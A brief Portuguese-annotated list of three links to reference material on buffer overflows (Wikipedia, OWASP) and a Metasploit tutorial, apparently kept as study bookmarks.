http://pt.wikipedia.org/wiki/Transbordamento_de_dados [ definição buffer overflows ]
http://www.owasp.org/index.php/Buffer_Overflow [ buffer overflows exemplos ]
http://www.offensive-security.com/metasploit-unleashed [ otima tutorial sobre o metasploit ]